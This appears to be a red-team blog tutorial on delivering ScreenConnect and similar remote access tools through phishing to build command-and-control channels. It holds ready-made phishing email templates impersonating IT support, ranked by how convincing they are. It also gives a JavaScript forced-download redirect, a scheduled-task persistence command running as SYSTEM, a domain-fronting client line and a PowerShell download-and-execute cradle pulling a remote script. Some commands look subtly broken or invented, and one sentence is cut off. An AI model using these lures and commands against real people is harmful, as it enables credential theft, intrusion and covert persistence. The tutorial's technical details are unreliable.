In the realm of red teaming, the leverage of legitimate remote access tools, such as ScreenConnect, PowerShell Remoting, or TeamViewer, presents a unique opportunity to establish potent command and control (C2) channels without triggering traditional security alarms. These applications often bypass security controls due to their benign appearance. What differentiates a skilled phishing campaign from a detectable one often lies in the integration of seamless remote access mechanisms that maintain persistence in compromised environments while evading detection. As a practitioner, achieving a seamless operation with these tools can lead to high-value engagements where the human element becomes the critical vector for entry into an organization’s network. After digesting this article, you will be adept at configuring and deploying remote access tools effectively within phishing campaigns to simulate realistic post-compromise scenarios.
Prerequisites and Setup
Before embarking on a campaign utilizing remote access tools, there are essential elements you need to configure and understand. First, ensure you have access to a reliable cloud-based VPS, which acts as the intermediary machine for your operations. A subscription to a legitimate remote access service like ScreenConnect is critical, as its familiar interface decreases suspicion levels when installed on target systems. Installation can be done via commands such as:
wget -qO - https://install.screenconnect.com/client | sudo bash
This command downloads and executes the ScreenConnect client installer. Beyond installation, ensure your environment supports outbound connections on common ports (e.g., 443 and 80) to emulate typical web traffic. Additionally, configure your DNS settings at the VPS to reflect a convincing CNAME, which replaces suspicious URLs with appealing alternatives—for instance, using
instead of a direct IP or generic domain name. Finally, secure your C2 server with SSL/TLS certificates from Let’s Encrypt to ensure the remote connections remain encrypted, further reducing anomaly detection by IDS and IR systems.
Step-by-Step Execution
Creating the Phishing Hook
The first step in establishing a viable C2 channel through phishing involves crafting a phishing email with a compelling lure. This email should be designed to coax the target into installing your controlled instance of ScreenConnect. Consider leveraging an email subject that capitalizes on urgency, such as:
Subject: Immediate Action Required: Verify Your Employee Credentials
In the body, instruct recipients to initiate a verification process via an innocuous-looking application that resolves connection issues. Here is a realistic email body:
Dear User,
We have detected unusual activity from your account. To prevent interruption of service, please confirm your identity by installing our secured verification tool. Follow the link below:
[Your-IT-department-support.com/app-install]
Best regards,
IT Support Team
This email masks the installation of the remote access tool as a necessary security measure, tricking users into establishing the connection.
Installing Remote Access Software
The link provided in the phishing email directs users to a page that facilitates the download and installation of the ScreenConnect client. When the recipient clicks and downloads the installer, immediate execution is key. The page including download should enforce an automatic execution setup:
window.location.href = "https://secured-apps-download.corp.com/screenconnect_installer.exe";
This JavaScript snippet dynamically redirects and prompts the browser to start a self-executing download. Once installed on the end-user’s machine, your configured remote access client initiates an outbound connection to your VPS.
Establishing Persistence
With the remote access tool active on the target device, the next step is establishing persistence and initiating continuous callbacks. This involves using startup scripts or scheduled tasks commonly disguised within system settings:
schtasks /create /tn "User Check-in" /tr ""C:\\Program Files (x86)\\ScreenConnect\\ScreenConnect Client.exe"" /sc onlogon /ru SYSTEM
This command creates a persistent task labeled “User Check-in” that executes the ScreenConnect client each time the system boots. This ensures consistent access and control each time the target logs on, without arousing user suspicion since it mimics common IT maintenance tasks.
Advanced Variations
Advanced attackers incorporate additional tools and tactics to enhance the stealth and effectiveness of basic setups.
C2 Channel Over Domain Fronting
Domain fronting is a technique where HTTPS-based remote access is funneled through a different domain than the one directly linking the C2 server, often leading to more effective C2 operation without hassle. Here is how it can be applied:
screenconnectclient.exe -c "mycompany.cloudfront.net" -p 443
Executing this wrapper establishes an SSL tunnel which poses traffic as originating from benign or trusted sources like AWS CloudFront, circumventing traditional blacklist mechanisms.
Utilizing PowerShell
For environments where binary execution is restrictive, PowerShell scripts act as a formidable alternative. Scripts can be embedded and executed without downloading a new client:
Invoke-Expression((New-Object Net.WebClient).DownloadString('https://your-remote-access-server.com/payload.ps1'))
This minimal command leverages PowerShell remoting to download and execute a remote script, providing the same level of access control without leaving discernable artifacts on disk.
Good / Better / Best
Good: Using a straightforward email with a generic download link. Although functional, the lack of customization makes it susceptible to traditional phishing detections.
Download your security tool here: [generic-company.com/download]
This approach is possible in environments where user awareness is minimal but offers no real resistance to automated detection systems.
Better: Providing a personalized email using identity specifics and familiar logos. Incorporating minor customization increases the trust factor but still risks detection if the user’s scrutiny intensifies.
Dear John Doe,
Your recent activity requires validation. To secure your account, follow this link: [secure-corp.com/validation-jd]
This level of customization increases the likelihood of engagement through a more convincing appearance.
Best: Employing multifactor hooks that accurately mimic internal correspondence with impeccable forgery. This includes mimicking internal email chains or response formats.
From: IT.Support@corp.com
Subject: RE: Immediate Account Verification Needed
For [John Doe],
Following your recent IT query, this tool is pre-approved and mandatory for continued access: [corp-support-tools.corp.com/install]
Such an email mimics ongoing conversations and ensures it fits within the user’s routine, significantly increasing its stealth.
Related Concepts
Exploring alternative command and control techniques provides a broader insight into red team operations. Reviewing frameworks like Cobalt Strike, leveraging call-back mechanisms, and integrating redirectors are adjacent technologies that further enhance the handling of compromised environments. The continuous adaptation of these methodologies ensures attackers remain at the forefront of evading sophisticated defenses.
References
Cobalt Strike Post-Exploit Tooling
Remote Utilities Documentation
Let’s Encrypt SSL/TLS Certificate Authority
Related Reading
- ScreenConnect Abuse by Threat Actors: A New TTP
- Leveraging Legitimate Applications in Phishing Campaigns
- TerminalFix: Unveiling the PNG Steganography in Contemporary Cyber Campaigns
- LausivLoader: Unpacking a New Multi-Stage Malware via Malspam
Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

